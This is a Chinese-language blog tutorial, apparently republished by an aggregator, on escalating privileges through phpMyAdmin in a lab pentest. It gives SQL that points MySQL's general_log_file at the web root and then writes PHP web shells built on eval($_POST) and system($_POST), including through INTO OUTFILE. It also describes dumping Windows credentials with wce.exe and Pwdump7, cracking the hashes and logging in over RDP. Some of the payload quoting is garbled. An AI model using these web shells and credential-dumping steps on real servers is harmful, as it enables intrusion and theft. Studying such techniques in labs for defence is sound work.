共計 3148 個字符,預(yù)計需要花費 8 分鐘才能閱讀完成。
自動寫代碼機(jī)器人,免費開通
丸趣 TV 小編給大家分享一下 phpMyadmin 提權(quán)的示例,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
引言:在滲透測試過程中獲知到 phpMyadmin 的賬號密碼,如何進(jìn)行提權(quán)呢?往下看,我今天和你說說 phpMyadmin 提權(quán)那些事。
0×00 定義
phpMyAdmin 是一個以 PHP 為基礎(chǔ),以 Web-Base 方式架構(gòu)在網(wǎng)站主機(jī)上的 MySQL 的數(shù)據(jù)庫管理工具,讓管理者可用 Web 接口管理 MySQL 數(shù)據(jù)庫。
0×01 環(huán)境準(zhǔn)備
目標(biāo): Windows Server 2003 Enterprise x64 Edition 192.168.17.137 攻擊機(jī): window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4
0×02 開始滲透
我們經(jīng)過弱口令,爆破,目錄泄露等途徑已經(jīng)獲知 PhpMyadmin 的賬號密碼是 root root。接下來我們就通過 phpMyadmin 來提權(quán),盡可能貼近真實,多講思路。
a 收集有用信息
如上圖所示,我們可以獲取到以下有用信息。
1. 操作系統(tǒng)是 windows server 2003 x86
2. 服務(wù)器是 Apache 2.4.32
3. 網(wǎng)站默認(rèn)路徑是 E:\phpStudy\PHPTutorial\WWW
4.PHP 版本是 5.45
5.mysql 版本是 5.5.53
b 檢測插入條件
在上面我們已經(jīng)獲知了網(wǎng)站默認(rèn)的路徑是 E:\phpstudy\PHPTutorial\WWW,這個時候我們肯定想插入一句話后門文件或者是導(dǎo)出 shell。那如果我們需要使用以上兩種思路中的一種必須滿足一個前提條件“secure_file_priv”對應(yīng)的值不能為空且必須為默認(rèn)網(wǎng)站的路徑,所以我們必須提前檢測一下“secure_file_priv”的值。
phpMyadmin 執(zhí)行以下命令:
SHOW VARIABLES LIKE“secure_file_priv”;
結(jié)果如圖所示:
從上圖得知值為空,如果我們這時導(dǎo)入一句話,肯定會失敗的,不信啊,那我們試試。
報錯 The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,這是因為 mysql 對通過文件導(dǎo)入導(dǎo)出作了限制,默認(rèn)不允許。默認(rèn) value 值為 null,則為禁止,如果有文件夾目錄,則只允許改目錄下文件(測試子目錄也不行)。我們思考一下看看能否設(shè)置其的路徑為我們的默認(rèn)網(wǎng)站路徑,這樣我們就可以導(dǎo)入一句話后門了。那我們試試吧。
從圖得知這個變量是一個只讀變量無法動態(tài)更改,那應(yīng)該是只能從配置文件中更改了。到這里發(fā)現(xiàn)陷入了一個胡同,那常規(guī)方式不行,我們可以去使用一些騷思路,利用 log 日志文件插入一句話。
c 轉(zhuǎn)換思路
我們首先需要檢測的是 MySQL 全局變量(general_log、general_log file)的值。
general log 指的是日志保存狀態(tài),一共有兩個值(ON/OFF)ON 代表開啟 OFF 代表關(guān)閉。
general log file 指的是日志的保存路徑。
從圖得知 general_log 默認(rèn)是關(guān)閉的,log 日志存放的位置是 E:\phpStudy\PHPTutorial\MySQL\data\。
首先我們來理解一下開啟 general_log 的作用,開啟它可以記錄用戶輸入的每條命令,會把其保存在 E:\phpstudy\PHPTutorial\MySQL\data\ 下的一個 log 文件中,其實就是我們常說的日志文件。好,我們的利用的思路是開啟 general_log 之后把 general_log_file 的值修改為我們網(wǎng)站默認(rèn)路徑下一個自定義的 php 文件中,然后我們通過 log 日志進(jìn)行寫入一句話后門到上面去,然后再進(jìn)一步利用。
具體命令是:
set global general_log = ON SET global general_log_file= E:/phpStudy/PHPTutorial/WWW/infos.php
緊接著我們可以看到在網(wǎng)站根路徑下找到我們生成的偽日記文件 infos.php。
然后我們就得插入我們的一句話后門了。
select‘?php eval($_POST[yumu]);?
我們可以嘗試使用菜刀連接,成功連接。
d 獲取管理員密碼 0×00 直接獲取明文
我們上傳 wce.exe 獲取明文密碼。運氣賊好,直接獲取到明文(11 位字母和數(shù)字混合的密碼)。如果不能直接獲取明文那就得走第二條獲取 hash 值然后解密了。
0×01 獲取 hash 值
上傳 Pwdump7.exe 獲取 hash 值保存到 password.txt 文件中。獲取 hash 值可以選擇在線 http://www.objectif-securite.ch/en/ophcrack.php 跑,跑不出來就用 Ophcrack 導(dǎo)入彩虹表跑吧。
e 查看 3389 是否開啟
直接在菜刀終端輸入“netstat -an | find“3389″ 或者“netstat -an”。
發(fā)現(xiàn) 3389 沒開,但是 3390 就開了,我們嘗試連接一下。
f 登陸服務(wù)器
運行 mstsc 開啟遠(yuǎn)程桌面。
輸入上面獲取到的賬號和密碼,成功登陸。
最后肯定是要清楚痕跡的,但我這里就不寫了,寫的內(nèi)容也是賊多了
0×03 擴(kuò)展
上面演示了 secure_file_priv 值為空的情況,那么如果 secure_file_priv 不為空那我們該怎么辦?
a 配置 my.ini 文件(不對應(yīng)網(wǎng)站根路徑)
打開 mysq 的配置文件 my.ini,對 secure_file_priv 的值進(jìn)行設(shè)置,然后重啟 mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/MYSQL/”
嘗試改變值,發(fā)現(xiàn)只是可讀,不能寫,那種情況無法寫入我們的一句話,因為其限制了導(dǎo)出路徑,無法把一句話寫入之后導(dǎo)出到我們的網(wǎng)站根目錄。
b 配置 my.ini 文件(對應(yīng)網(wǎng)站根路徑)
打開 mysq 的配置文件 my.ini,對 secure_file_priv 的值進(jìn)行設(shè)置,然后重啟 mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/WWW/”
然后我們嘗試插入一句話后門,成功插入。
二話不說菜刀連接。
當(dāng)然一句話還可以這樣插入。
CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES (?php @eval($_POST[pass]);? SELECT `inform` from `mysql`.`informationes` into outfile e:/phpStudy/PHPTutorial/WWW/infos.php DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/ 為網(wǎng)站的絕對路徑)
c 導(dǎo)出具有命令權(quán)限的 Shell 的 php 文件
select‘?php echo \’pre system($_POST[\ yumu\ echo \’/pre ?’into outfile‘c:/phpStudy/PHPTutorial/WWW/test.php’;
以上是“phpMyadmin 提權(quán)的示例”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注丸趣 TV 行業(yè)資訊頻道!
向 AI 問一下細(xì)節(jié)